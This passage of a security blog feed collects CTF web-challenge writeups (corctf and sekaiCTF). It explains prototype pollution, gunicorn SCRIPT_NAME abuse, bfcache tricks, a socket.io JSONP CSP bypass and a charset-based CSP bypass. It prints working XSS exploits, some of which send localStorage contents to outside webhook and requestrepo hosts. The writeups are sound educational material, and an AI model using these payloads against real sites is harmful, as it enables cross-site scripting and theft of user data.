operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>url<span class="token punctuation">;</span>      document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"#iframe"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>style <span class="token operator">=</span> res<span class="token punctuation">.</span>data<span class="token punctuation">.</span>style<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The backend uses Flask + gunicorn to render the above webpage.</p><p>There is a prototype pollution vulnerability in can.js, and even with checks in place, it can still be bypassed using URL encoding. However, the question is what can be done after the pollution occurs.</p><p>At first glance, the most suspicious part in the frontend is <code>document.querySelector(&quot;#iframe&quot;).src = res.data.url</code>, but here we need to control the server’s response. However, the server has checks in place, so data.url can only start with http.</p><p>The final solution is related to the behavior of axios, bfcache, and gunicorn. Gunicorn determines the final path based on the <code>script_name</code> in the header. According to the example given in <a href="https://github.com/benoitc/gunicorn/issues/2650">Gunicorn’s handling of PATH_INFO and SCRIPT_NAME can lead to security issues when placed behind a proxy #2650</a>:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>URL<span class="token operator">+</span><span class="token string">'/REMOVED/admin/something/bad'</span><span class="token punctuation">,</span>             headers<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">'script_name'</span><span class="token punctuation">:</span><span class="token string">'REMOVED/'</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>If there is an nginx in front that blocks all requests starting with &#x2F;admin, we can send a request to &#x2F;REMOVED&#x2F;admin along with script_name as REMOVED&#x2F;. Nginx will allow it, but when it reaches gunicorn, it will parse the path as &#x2F;admin, directly bypassing the previous nginx check.</p><p>The part of this challenge that utilizes this behavior is:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>&#123;&#123; url_for('static', filename='axios.min.js') &#125;&#125;<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>If you execute <code>curl https://iframe-note.be.ax////example.com/view -H &quot;SCRIPT_NAME: //example.com&quot;</code>, the final path will be &#x2F;view, but the base URL will change, rendering the result as:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>//example.com/static/axios.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>This allows direct control over the src on the page.</p><p>The author may have been too lazy to set up an instance to host the payload, so they directly used a data URI, turning the script into <code>&lt;script src=&quot;data:text/javascript,&#123;XSS&#125;&quot;&gt;</code>.</p><p>To achieve this result, headers need to be sent in the request, so bfcache is utilized. The process is:</p><ol><li>First visit the final required URL.</li><li>Redirect to the view page, using prototype pollution to send a request with headers via fetch.</li><li>Go back to the previous page; at this point, due to bfcache, the response from the previous fetch will be reused, which is the version with headers.</li><li>XSS</li></ol><p>The author’s exploit:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">    <span class="token comment">// const BASE_URL = "http://localhost:3000";</span>    <span class="token keyword">const</span> <span class="token constant">BASE_URL</span> <span class="token operator">=</span> <span class="token string">"https://iframe-note.be.ax"</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">HOOK_URL</span> <span class="token operator">=</span> <span class="token string">"https://webhook.site/xxxxx"</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token function-variable function">sleep</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">ms</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>resolve<span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token function-variable function">main</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">const</span> dataUrl <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">data:text/javascript,navigator.sendBeacon('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">HOOK_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">',JSON.stringify(localStorage))</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>      <span class="token keyword">const</span> win <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/iframe/view</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE_URL</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/view?id=view&amp;__%70roto__[headers][SCRIPT_NAME]=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/iframe&amp;__%70roto__[baseURL]=/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>dataUrl<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>      <span class="token keyword">await</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      win<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>location<span class="token punctuation">.</span>origin<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/back.html?n=2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">const</span> n <span class="token operator">=</span> <span class="token function">parseInt</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">URLSearchParams</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"n"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  history<span class="token punctuation">.</span><span class="token function">go</span><span class="token punctuation">(</span><span class="token operator">-</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="corchat-x-1-solve">corchat x - 1 solve</span></h3><p>Author: larry</p><p>A challenge related to socket.io, with three main points:</p><ol><li>Can send a disconnect event but no actual disconnect occurs.</li><li>socket.io’s JSONP can be used to bypass CSP.</li><li>Use the performance API to list previously loaded resources.</li></ol><p>Below is the exploit posted by EhhThing in Discord:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> socketio<span class="token keyword">import</span> requests<span class="token keyword">import</span> time<span class="token keyword">import</span> jsonbase_url <span class="token operator">=</span> <span class="token string">'https://corchat-x-a6e1f8c45d3ca520.be.ax'</span><span class="token keyword">def</span> <span class="token function">create_sid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    session <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>    login <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/'</span></span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> allow_redirects<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> login<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">302</span><span class="token punctuation">,</span> login<span class="token punctuation">.</span>status_code    res <span class="token operator">=</span> session<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/'</span></span><span class="token punctuation">,</span> params <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'EIO'</span><span class="token punctuation">:</span> <span class="token number">4</span><span class="token punctuation">,</span>        <span class="token string">'transport'</span><span class="token punctuation">:</span> <span class="token string">'polling'</span><span class="token punctuation">,</span>        <span class="token string">'t'</span><span class="token punctuation">:</span> <span class="token string">'bingus'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> res<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">,</span> res<span class="token punctuation">.</span>status_code    socket_session <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>res<span class="token punctuation">.</span>text<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'fake session'</span><span class="token punctuation">,</span> socket_session<span class="token punctuation">)</span>    res <span class="token operator">=</span> session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/'</span></span><span class="token punctuation">,</span> params <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string">'EIO'</span><span class="token punctuation">:</span> <span class="token number">4</span><span class="token punctuation">,</span>        <span class="token string">'transport'</span><span class="token punctuation">:</span> <span class="token string">'polling'</span><span class="token punctuation">,</span>        <span class="token string">'t'</span><span class="token punctuation">:</span> <span class="token string">'P3qHGUZ'</span><span class="token punctuation">,</span>        <span class="token string">'sid'</span><span class="token punctuation">:</span> socket_session<span class="token punctuation">[</span><span class="token string">'sid'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token string">b'40'</span><span class="token punctuation">)</span>    <span class="token keyword">assert</span> res<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">,</span> res<span class="token punctuation">.</span>status_code    <span class="token keyword">return</span> socket_session<span class="token punctuation">[</span><span class="token string">'sid'</span><span class="token punctuation">]</span>bot_session <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>login <span class="token operator">=</span> bot_session<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/'</span></span><span class="token punctuation">,</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'name'</span><span class="token punctuation">:</span> <span class="token string">'FizzBuzz101'</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> allow_redirects<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token keyword">assert</span> login<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">302</span><span class="token punctuation">,</span> login<span class="token punctuation">.</span>status_codesio <span class="token operator">=</span> socketio<span class="token punctuation">.</span>Client<span class="token punctuation">(</span>http_session<span class="token operator">=</span>bot_session<span class="token punctuation">)</span>ready <span class="token operator">=</span> <span class="token boolean">False</span><span class="token decorator annotation punctuation">@sio<span class="token punctuation">.</span>event</span><span class="token keyword">def</span> <span class="token function">connect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> ready    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'connected!'</span><span class="token punctuation">)</span>    <span class="token comment"># fake disconnect event so that the bot can connect as well</span>    sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'disconnect'</span><span class="token punctuation">)</span>    time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    ready <span class="token operator">=</span> <span class="token boolean">True</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'ready for bot!'</span><span class="token punctuation">)</span><span class="token decorator annotation punctuation">@sio<span class="token punctuation">.</span>event</span><span class="token keyword">def</span> <span class="token function">message</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> ready    <span class="token keyword">if</span> <span class="token keyword">not</span> ready<span class="token punctuation">:</span>        <span class="token keyword">return</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> data<span class="token punctuation">)</span>    <span class="token keyword">if</span> data<span class="token punctuation">[</span><span class="token string">'content'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">'FizzBuzz101 joined.'</span><span class="token punctuation">:</span> <span class="token comment"># XSS bot opened the chat</span>        first_sid <span class="token operator">=</span> create_sid<span class="token punctuation">(</span><span class="token punctuation">)</span>        js_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""(window.exfil = data => window.top.opener.top.socket.emit('message', data))(window.observer = new parent.PerformanceObserver((list) => &#123; list.getEntries().forEach((entry) => &#123; window.exfil('Flag: ' + decodeURIComponent(entry.name.split('/').pop())); &#125;); &#125;))(window.observer.observe(&#123; type: 'resource', buffered: true &#125;))"""</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">)</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> <span class="token string">'\\"+'</span><span class="token operator">+</span>js_payload<span class="token operator">+</span><span class="token string">');//'</span><span class="token punctuation">)</span>        second_sid <span class="token operator">=</span> create_sid<span class="token punctuation">(</span><span class="token punctuation">)</span>        jsonp_url <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f'</span><span class="token interpolation"><span class="token punctuation">&#123;</span>base_url<span class="token punctuation">&#125;</span></span><span class="token string">/socket.io/?EIO=4&amp;transport=polling&amp;t=bingus&amp;sid=</span><span class="token interpolation"><span class="token punctuation">&#123;</span>second_sid<span class="token punctuation">&#125;</span></span><span class="token string">&amp;j=0'</span></span>        js_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""(window.secret=window.open('','secret'))(window.a=window.top.document.getElementById('xss').cloneNode())(window.a.srcdoc=window.a.srcdoc.replace('%s','%s'))(window.secret.document.body.appendChild(window.a))"""</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> <span class="token string">','</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token punctuation">(</span>second_sid<span class="token punctuation">,</span> first_sid<span class="token punctuation">)</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> <span class="token string">'\\"+'</span><span class="token operator">+</span>js_payload<span class="token operator">+</span><span class="token string">');//'</span><span class="token punctuation">)</span>        xss_payload <span class="token operator">=</span> <span class="token triple-quoted-string string">"""&lt;a id=&amp;quot;___eio&amp;quot;>&lt;/a>&lt;a id=&amp;quot;___eio&amp;quot;>&lt;/a>&lt;script src=&amp;quot;%s&amp;quot;>&lt;/script>"""</span> <span class="token operator">%</span> jsonp_url        chat_message <span class="token operator">=</span> <span class="token string">'&lt;iframe id="xss" srcdoc="%s">&lt;/iframe>'</span> <span class="token operator">%</span> xss_payload<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">assert</span> <span class="token builtin">len</span><span class="token punctuation">(</span>chat_message<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">400</span><span class="token punctuation">,</span> <span class="token string">'chat message too long, time to write better payload'</span>        sio<span class="token punctuation">.</span>emit<span class="token punctuation">(</span><span class="token string">'message'</span><span class="token punctuation">,</span> chat_message<span class="token punctuation">)</span>sio<span class="token punctuation">.</span>connect<span class="token punctuation">(</span>base_url<span class="token punctuation">)</span>sio<span class="token punctuation">.</span>wait<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="webx2frepayment-pal-0-solves">web&#x2F;repayment-pal - 0 solves</span></h3><p>Author: strellic</p><p>A question related to Next.js, which no one solved during the competition, and no solution was announced afterward.</p><p>Below are the hints that were released:</p><ol><li>+24 hour hint drop: hm, why is dev mode enabled?</li><li>+36 hour hint drop: try to find a way to get html injection!</li><li>Post-CTF hint drop: An earlier version of the challenge had an extra check in the middleware, requiring all API requests to have the header Sec-Fetch-Dest: empty</li></ol><h2><span id="sekaictf-2024">sekaiCTF 2024</span></h2><h3><span id="htmlsandbox-4-solves">htmlsandbox (4 solves)</span></h3><p>Author: arxenix</p><p>Challenge link: <a href="https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox">https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox</a></p><p>This challenge allows you to upload HTML, but blocks everything it can, and checks if there is: <code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src &#39;none&#39;&quot;&gt;</code> in the head to ensure that JavaScript code cannot be executed.</p><p>The solution is that during the check, the HTML is transformed into <code>data:text/html</code> for validation, but when accessed, it is treated as a regular webpage, and the parsing rules for these two are different. When the file is large, the former parses everything at once, while the latter does it chunk by chunk, and each chunk can have different encoding.</p><p>Details can be found in the author’s writeup: <a href="https://blog.ankursundara.com/htmlsandbox-writeup/">SekaiCTF’24 htmlsandbox - Author Writeup</a> or in this article <a href="https://0xalessandro.github.io/posts/sekai/">0xalessandro’s writeup</a>, where the final exploit looks like this:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requests<span class="token comment">#0xAlessandro was here</span>c1 <span class="token operator">=</span> <span class="token triple-quoted-string string">b'''&lt;html>&lt;head>    &lt;!-- \x1b$@ aa -->'''</span> <span class="token operator">+</span> <span class="token triple-quoted-string string">b'''&lt;meta http-equiv="Content-Security-Policy" content="default-src 'none'">\x1b(B &lt;!-- test -->'''</span> <span class="token operator">+</span> <span class="token string">b"\x1b(B&lt;!-- "</span> <span class="token operator">+</span> <span class="token string">b"A"</span><span class="token operator">*</span><span class="token number">64000</span> <span class="token operator">+</span> <span class="token string">b"-->"</span><span class="token operator">+</span> <span class="token string">b"&lt;!--"</span><span class="token operator">+</span><span class="token string">b"A"</span><span class="token operator">*</span><span class="token number">100</span><span class="token operator">+</span><span class="token string">b"-->"</span>c2 <span class="token operator">=</span> <span class="token triple-quoted-string string">b'''    &lt;meta charset="utf-8">    &lt;/head>    &lt;body>    &lt;svg>&lt;animate onbegin="fetch(`https://s9cs3dwb.requestrepo.com?c=$&#123;localStorage.getItem('flag')&#125;`)" attributeName="x" dur="1s">    &lt;/body>&lt;/html>'''</span>html <span class="token operator">=</span> c1 <span class="token operator">+</span> c2<span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'test.html'</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>   f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>html<span class="token punctuation">)</span>r <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string">'https://htmlsandbox.chals.sekai.team/upload'</span><span class="token punctuation">,</span> data<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">'html'</span><span class="token punctuation">:</span> html<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">.</span>text<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When using a data URI, the entire HTML is parsed as utf-8 without any issues.</p><p>However, when accessed as a webpage, it is divided into two chunks, and since <code>&lt;meta charset=&quot;utf-8&quot;&gt;</code> appears in the second chunk, the first chunk is parsed using <code>JIS X 0208 1983</code>, causing the CSP to turn into a bunch of garbled characters, which gets removed.</p><p>When the second chunk is read and the meta is encountered, it switches to UTF-8 and loads as usual, thus bypassing the CSP and achieving XSS.</p><p>The details of this encoding exploit can be referenced here: <a href="https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/">Encoding Differentials: Why Charset Matters</a>.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;It’s been a while since I wrote writeup. I’ve wanted to write for a long time but kept procrastinating. For something like CTF writeups, speed is quite important because most discussions happen in Discord after the competition. Over time, it’s harder to find information, and it’s very likely to forget, so I need to quickly write a writeup to record those useful pieces of information.&lt;/p&gt;
&lt;p&gt;This article brings together writeups for three CTFs. Some I didn’t play myself; I just looked at others’ writeups and take a note of them.&lt;/p&gt;
&lt;p&gt;Keyword list:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;bfcache&lt;/li&gt;
&lt;li&gt;response splitting&lt;/li&gt;
&lt;li&gt;Service-Worker-Allowed&lt;/li&gt;
&lt;li&gt;gunicorn script_name&lt;/li&gt;
&lt;li&gt;socket.io disconnect&lt;/li&gt;
&lt;li&gt;socket.io JSONP CSP bypass&lt;/li&gt;
&lt;li&gt;performance API&lt;/li&gt;
&lt;li&gt;streaming HTML parsing &lt;/li&gt;
&lt;li&gt;content-type ISO-2022-JP&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
</feed>
